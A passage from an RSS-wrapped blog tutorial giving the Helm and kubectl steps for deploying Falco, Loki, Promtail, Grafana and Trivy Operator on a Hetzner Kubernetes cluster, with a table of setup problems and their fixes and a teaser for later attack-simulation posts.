  &lt;span class="nt"&gt;--discovery-token-ca-cert-hash&lt;/span&gt; sha256:&amp;lt;&lt;span class="nb"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;# Step 8 — Namespaces&lt;/span&gt;
kubectl create namespace monitoring
kubectl create namespace falco

&lt;span class="c"&gt;# Step 9 — Falco secret first&lt;/span&gt;
kubectl create secret generic falcosidekick-secrets &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--from-literal&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;slackWebhookUrl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"YOUR_WEBHOOK_URL"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-n&lt;/span&gt; falco

&lt;span class="c"&gt;# Step 10 — Falco + Falcosidekick&lt;/span&gt;
helm repo add falcosecurity &lt;span class="se"&gt;\&lt;/span&gt;
  https://falcosecurity.github.io/charts
helm &lt;span class="nb"&gt;install &lt;/span&gt;falco falcosecurity/falco &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; falco &lt;span class="nt"&gt;-f&lt;/span&gt; falco-values.yaml
helm &lt;span class="nb"&gt;install &lt;/span&gt;falcosidekick falcosecurity/falcosidekick &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; falco &lt;span class="nt"&gt;-f&lt;/span&gt; falcosidekick-values.yaml

&lt;span class="c"&gt;# Step 11 — Loki SingleBinary&lt;/span&gt;
helm repo add grafana https://grafana.github.io/helm-charts
helm &lt;span class="nb"&gt;install &lt;/span&gt;loki grafana/loki &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; monitoring &lt;span class="nt"&gt;-f&lt;/span&gt; loki-values.yaml

&lt;span class="c"&gt;# Step 12 — Promtail&lt;/span&gt;
helm &lt;span class="nb"&gt;install &lt;/span&gt;promtail grafana/promtail &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; monitoring &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--set&lt;/span&gt; config.clients[0].url&lt;span class="o"&gt;=&lt;/span&gt;http://loki:3100/loki/api/v1/push

&lt;span class="c"&gt;# Step 13 — Grafana&lt;/span&gt;
helm &lt;span class="nb"&gt;install &lt;/span&gt;grafana grafana/grafana &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; monitoring &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--set&lt;/span&gt; &lt;span class="nv"&gt;adminPassword&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;changeme

&lt;span class="c"&gt;# Step 14 — Trivy Operator&lt;/span&gt;
helm &lt;span class="nb"&gt;install &lt;/span&gt;trivy-operator &lt;span class="se"&gt;\&lt;/span&gt;
  aquasecurity/trivy-operator &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; monitoring &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--set&lt;/span&gt; trivy.ignoreUnfixed&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;




&lt;p&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Break&lt;/th&gt;
&lt;th&gt;Root cause&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Server types unavailable&lt;/td&gt;
&lt;td&gt;Hetzner inventory varies by region&lt;/td&gt;
&lt;td&gt;Check &lt;code&gt;hcloud server-type list&lt;/code&gt; first&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;conntrack missing&lt;/td&gt;
&lt;td&gt;Not in Ubuntu default image&lt;/td&gt;
&lt;td&gt;Add to bootstrap script&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wrong NIC name&lt;/td&gt;
&lt;td&gt;Hetzner uses enp7s0 not eth1&lt;/td&gt;
&lt;td&gt;Run &lt;code&gt;ip addr show&lt;/code&gt; before planning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;fluent-bit deprecated&lt;/td&gt;
&lt;td&gt;Chart moved&lt;/td&gt;
&lt;td&gt;Use Promtail instead&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Falcosidekick crash&lt;/td&gt;
&lt;td&gt;Nil pointer on missing secret&lt;/td&gt;
&lt;td&gt;Use &lt;code&gt;existingSecret&lt;/code&gt; in Helm values&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Loki pending&lt;/td&gt;
&lt;td&gt;Distributed defaults need PVC&lt;/td&gt;
&lt;td&gt;Use &lt;code&gt;SingleBinary&lt;/code&gt; + &lt;code&gt;emptyDir&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What's Next
&lt;/h2&gt;

&lt;p&gt;With the stack running, I moved straight into the attack simulation. The first post in this series covers Attack 1 — cryptominer deployment — and how Falco caught it in 47 seconds with three correlated alerts.&lt;/p&gt;

&lt;p&gt;Attacks 2 through 4 (privileged container escape, service account token abuse, kubectl exec) follow in subsequent posts.&lt;/p&gt;

&lt;p&gt;Full config files, patched Flannel manifest, and Helm values are in the repo: &lt;a href="https://github.com/chrisazzo/k8s-soc-foundation" rel="noopener noreferrer"&gt;github.com/chrisazzo/k8s-soc-foundation&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Building a DevSecOps portfolio targeting AI Security Architect contract work. Follow the series for the full attack simulation, hardening, and CKS build logs.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/chrisazzo/how-i-deployed-a-cryptominer-into-my-kubernetes-cluster-and-caught-it-with-falco-5hnj"&gt;Next: Attack 1 — Cryptominer Deployment →&lt;/a&gt;&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>devops</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
